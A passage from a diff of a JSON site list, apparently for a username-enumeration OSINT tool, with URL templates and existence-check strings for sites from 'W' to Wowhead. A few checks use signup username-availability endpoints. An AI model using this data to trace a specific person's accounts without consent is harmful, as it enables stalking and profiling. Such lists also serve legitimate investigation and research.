find the page you're looking for", + "match_string": ">Birthplace:
" + }, + { + "name": "Warcraft3ft", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "warcraft3ft.clan.su", + "url": "http://warcraft3ft.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "warez-pirati.ucoz.ru", + "url": "http://warez-pirati.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warface", + "url": "https://wf.mail.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warframe Market", + "url": "https://warframe.market/profile/{}", + "category": "shopping", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "warframe.3dn.ru", + "url": "http://warframe.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warhammercommunity", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Warhammergames", + "url": "https://warhammergames.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Warmerise", + "url": "https://warmerise.com/profile/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

Page Not Found", + "match_code": 200, + "match_string": "
0 Result's", + "match_string": "Download" + }, + { + "name": "webdom.3dn.ru", + "url": "http://webdom.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "webflow.com", + "url": "https://webflow.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Webhamster", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Weblancer", + "url": "https://www.weblancer.net/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Weblate", + "url": "https://hosted.weblate.org/user/{}/", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "webmedia.ucoz.ru", + "url": "http://webmedia.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WebNode", + "url": "https://{}.webnode.cz/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "webonrails.ru", + "url": "https://webonrails.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "

\u041e\u0448\u0438\u0431\u043a\u0430

", + "match_string": "post_feed_title" + }, + { + "name": "WebOS", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "websecurity.3dn.ru", + "url": "http://websecurity.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Weburg", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "»," + }, + { + "name": "wedding-image.ru", + "url": "http://wedding-image.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Weebly", + "url": "http://{}.weebly.com/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Error - Page Not Found", + "match_string": "" + }, + { + "name": "Weebly", + "url": "https://{}.weebly.com/", + "category": "news", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Weedmaps", + "url": "https://weedmaps.com/brands/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Find Marijuana Dispensaries, Brands" + }, + { + "name": "Weforum", + "url": "https://www.weforum.org/people/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wego.social", + "url": "https://wego.social/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, page not found!", + "match_string": "Following</span>" + }, + { + "name": "Weibo", + "url": "https://weibo.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<h2>400 Bad Request</h2>", + "match_string": "{\"ok\":1,\"data\":{\"user\":" + }, + { + "name": "Weibo", + "url": "https://weibo.com/ajax/profile/info?custom={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "<h2>400 Bad Request</h2>", + "match_code": 200, + "match_string": "\"user\":" + }, + { + "name": "Weld", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Werelate", + "url": "https://werelate.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "WeTransfer", + "url": "https://{}.wetransfer.com", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 307, + "match_code": 200, + "match_string": "workspaceName" + }, + { + "name": "Wfts", + "url": "https://wfts.su/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430: \u0438\u0433\u0440\u043e\u043a \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "What Happens In Vegas Stays (Las Vegas, NV)", + "url": "https://www.whathappensinvegasstays.com/?s={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Nothing Found</h1>", + "match_string": "search-results" + }, + { + "name": "Wheretosee", + "url": "https://wheretosee.org/wildlife/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Whitewaterguidebook", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Whonix", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No results found." + }, + { + "name": "whonixforum", + "url": "https://forums.whonix.org/u/{}/summary", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Whyislam", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "WicgForum", + "url": "https://discourse.wicg.io/u/{}/summary", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>WICG", + "match_string": " Profile -" + }, + { + "name": "Wickeditor", + "url": "https://forum.wickeditor.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wiki", + "url": "https://wiki.bytecode.club/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.clicklaw.bc.ca/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.contribs.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.eclipse.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.edgertronic.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.factorio.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.freephile.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.geni.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.gentoo.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.hostelmanagement.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.lostsouls.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.openmw.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.openvz.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.osdev.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.robojackets.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.secondlife.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.shartak.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.spacesim.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.therofl98.co/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.ubc.ca/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.urbandead.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.vtiger.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.xentax.com/wiki/User:{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.xiph.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "wiki.creativecommons.org", + "url": "https://wiki.creativecommons.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.linuxquestions.org", + "url": "https://wiki.linuxquestions.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.mozilla.org", + "url": "https://wiki.mozilla.org/wiki/User:{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.mtasa.com", + "url": "https://wiki.mtasa.com/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.teamfortress.com", + "url": "https://wiki.teamfortress.com/wiki/User:{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.tfes.org", + "url": "https://wiki.tfes.org/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered.", + "match_string": "History" + }, + { + "name": "wiki.themanaworld.org", + "url": "https://wiki.themanaworld.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wiki.vg", + "url": "https://wiki.vg/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.wesnoth.org", + "url": "https://wiki.wesnoth.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.xkcd.com", + "url": "https://wiki.xkcd.com/geohashing/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikialpha.org", + "url": "https://wikialpha.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikiapiary.com", + "url": "https://wikiapiary.com/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikicu", + "url": "https://wikicu.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikidifferences", + "url": "https://wikidifferences.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikidot", + "url": "http://www.wikidot.com/user:info/{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist.", + "match_string": "Wikidot user since" + }, + { + "name": "Wikidot", + "url": "https://wikidot.com/user:info/{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "User Information", + "match_string": "user-info" + }, + { + "name": "Wikidr", + "url": "https://wikidr.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikifarming", + "url": "https://wikifarming.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikigrib", + "url": "https://wikigrib.ru/author/{}/", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<title>\u042d\u043d\u0446\u0438\u043a\u043b\u043e\u043f\u0435\u0434\u0438\u044f \u0433\u0440\u0438\u0431\u043e\u0432 \u00ab\u0412\u0438\u043a\u0438\u0413\u0440\u0438\u0431\u00bb" + }, + { + "name": "Wikihow", + "url": "https://www.wikihow.com/Author/{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikiislam.net", + "url": "https://wikiislam.net/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikiloc", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikimapia", + "url": "https://wikimapia.org/user/register/?check=username&value={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"ok\":true", + "match_code": 200, + "match_string": "\"ok\":false" + }, + { + "name": "WikimapiaProfile", + "url": "http://wikimapia.org/user/{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "January 01, 1970" + }, + { + "name": "WikimapiaSearch", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "20" + }, + { + "name": "Wikimsk", + "url": "https://wikiMSK.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikipathways", + "url": "https://wikipathways.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikipedia", + "url": "https://www.wikipedia.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered" + }, + { + "name": "Wikipedia", + "url": "https://en.wikipedia.org/wiki/Special:CentralAuth/{}?uselang=qqx", + "category": "wiki", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "centralauth-admin-nonexistent:" + }, + { + "name": "Wikipedia", + "url": "https://meta.wikimedia.org/w/api.php?action=query&format=json&list=globalallusers&aguprefix={}&agulimit=100", + "category": "news", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": ":[]}}", + "match_code": 200, + "match_string": "{\"id\":" + }, + { + "name": "Wikipedia", + "url": "https://en.wikipedia.org/w/api.php?action=query&format=json&list=users&ususers={}", + "category": "news", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "missing:", + "match_code": 200, + "match_string": "userid" + }, + { + "name": "wikipedia", + "url": "https://en.wikipedia.org/wiki/User:{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Wikipediaquality", + "url": "https://wikipediaquality.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikipediocracy", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry but you cannot use" + }, + { + "name": "Wikipunch", + "url": "https://wikipunch.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikiquiz", + "url": "https://wikiquiz.org/revision-notes/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikiquote", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikishire", + "url": "https://wikishire.co.uk/wiki/User:{}", + "category": "professional", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikivoyage", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikivoyage", + "url": "https://en.wikivoyage.org/wiki/User:{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Wikiwrimo", + "url": "https://wikiwrimo.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "wikizilla.org", + "url": "https://wikizilla.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered.", + "match_string": "class=\"mw-socialprofile-avatar\" alt=\"avatar\"/><" + }, + { + "name": "Wiktionary", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wild-nature", + "url": "http://www.wild-nature.ru/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0430\u0448\u0438 \u0430\u0432\u0442\u043e\u0440\u044b | \u0414\u0438\u043a\u0430\u044f \u043f\u0440\u0438\u0440\u043e\u0434\u0430 \u0432 \u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f\u0445 \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0445" + }, + { + "name": "WimkinPublicProfile", + "url": "https://wimkin.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": " The page you are looking for cannot be found.", + "match_string": "is on WIMKIN" + }, + { + "name": "Winamp", + "url": "http://forums.winamp.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Windows10forums", + "url": "https://www.windows10forums.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Windows10forums", + "url": "https://www.windows10forums.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Windowsforum", + "url": "https://windowsforum.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Windy", + "url": "https://community.windy.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wineberserkers", + "url": "https://www.wineberserkers.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Winnipegwatch", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "was not found." + }, + { + "name": "Wireclub", + "url": "https://www.wireclub.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "WiredNewYork", + "url": "http://wirednewyork.com//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wiscobourbon", + "url": "https://wiscobourbon.com/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wishlistr", + "url": "https://www.wishlistr.com/profile/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Wishlistr", + "url": "https://www.wishlistr.com/sign-up/?rs=checkUserName&rsargs[]={}", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "+:var res = parseInt(0);", + "match_code": 200, + "match_string": "+:var res = \"" + }, + { + "name": "wishlistr", + "url": "https://www.wishlistr.com/profile/{}/", + "category": "shopping", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "match_code": 200, + "match_string": "s profile" + }, + { + "name": "Witchnest", + "url": "https://witchnest.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Domain Error Page" + }, + { + "name": "Withoutvowels", + "url": "https://withoutvowels.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wittyprofiles", + "url": "http://www.wittyprofiles.com/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "It looks like you are looking for something that isn't here." + }, + { + "name": "Wix", + "url": "https://{}.wix.com", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wm-maximum.ru", + "url": "http://wm-maximum.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wm.ucoz.com", + "url": "http://wm.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wmmail-wmmail.3dn.ru", + "url": "http://wmmail-wmmail.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WolframalphaForum", + "url": "https://community.wolfram.com/web/{}/home", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wolga24.at.ua", + "url": "http://wolga24.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WolniSlowianie", + "url": "https://wolnislowianie.pl/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nie znaleziono strony, kt\u00f3rej szukasz.", + "match_string": "O\u015b czasu" + }, + { + "name": "Wolpy", + "url": "http://wolpy.com/{}/profile", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wolpy", + "url": "https://wolpy.com/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "ItPage not found" + }, + { + "name": "Women Behind Bars (search)", + "url": "https://womenbehindbars.com/?s={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<p>Sorry, but nothing", + "match_string": "</span> Read More" + }, + { + "name": "Wordart", + "url": "https://wordart.com/gallery/user/{}", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wordnik", + "url": "https://www.wordnik.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Wordnik: Page Not Found", + "match_string": "Welcome," + }, + { + "name": "Wordnik", + "url": "https://wordnik.com/users/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "You've found our 404 page" + }, + { + "name": "WordPress", + "url": "https://{}.wordpress.com/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "WordPress.com (Deleted)", + "url": "https://public-api.wordpress.com/rest/v1.1/sites/{}.wordpress.com", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"unknown_blog\"", + "match_code": 403, + "match_string": "\"message\":\"API calls to this endpoint have been disabled.\"" + }, + { + "name": "WordPress.org (Forums)", + "url": "https://login.wordpress.org/wp-json/wporg/v1/username-available/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"available\":true", + "match_code": 200, + "match_string": "\"error\":\"That username is already in use." + }, + { + "name": "WordPressOrg", + "url": "https://profiles.wordpress.org/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "WordpressSupport", + "url": "https://wordpress.org/support/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found", + "match_string": "s Profile | WordPress.org" + }, + { + "name": "Worldis.me", + "url": "http://en.worldis.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "user_password", + "match_string": "my_profile" + }, + { + "name": "worldofdragonage.ru", + "url": "http://worldofdragonage.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Worldofplayers", + "url": "https://worldofplayers.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Worldofwarcraft_blizzard", + "url": "https://worldofwarcraft.blizzard.com/en-us/character/us/frostmourne/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Error 404" + }, + { + "name": "Worldtruth", + "url": "https://www.worldtruth.online/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Worldtruth", + "url": "https://www.worldtruth.online/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Worldwindcentral", + "url": "https://worldwindcentral.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "WorlfOfTanksForum", + "url": "https://forum.wotanks.com/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + }, + { + "name": "Wot-game", + "url": "https://wot-game.com/user/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WOW Circle", + "url": "https://forum.wowcircle.net/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wow-game", + "url": "http://www.wow-game.ru/index/8-0-{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "wow-game.ru", + "url": "http://wow-game.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wowhead", + "url": "https://www.wowhead.com/user={}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wowhead", + "url": "https://wowhead.com/user={}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": 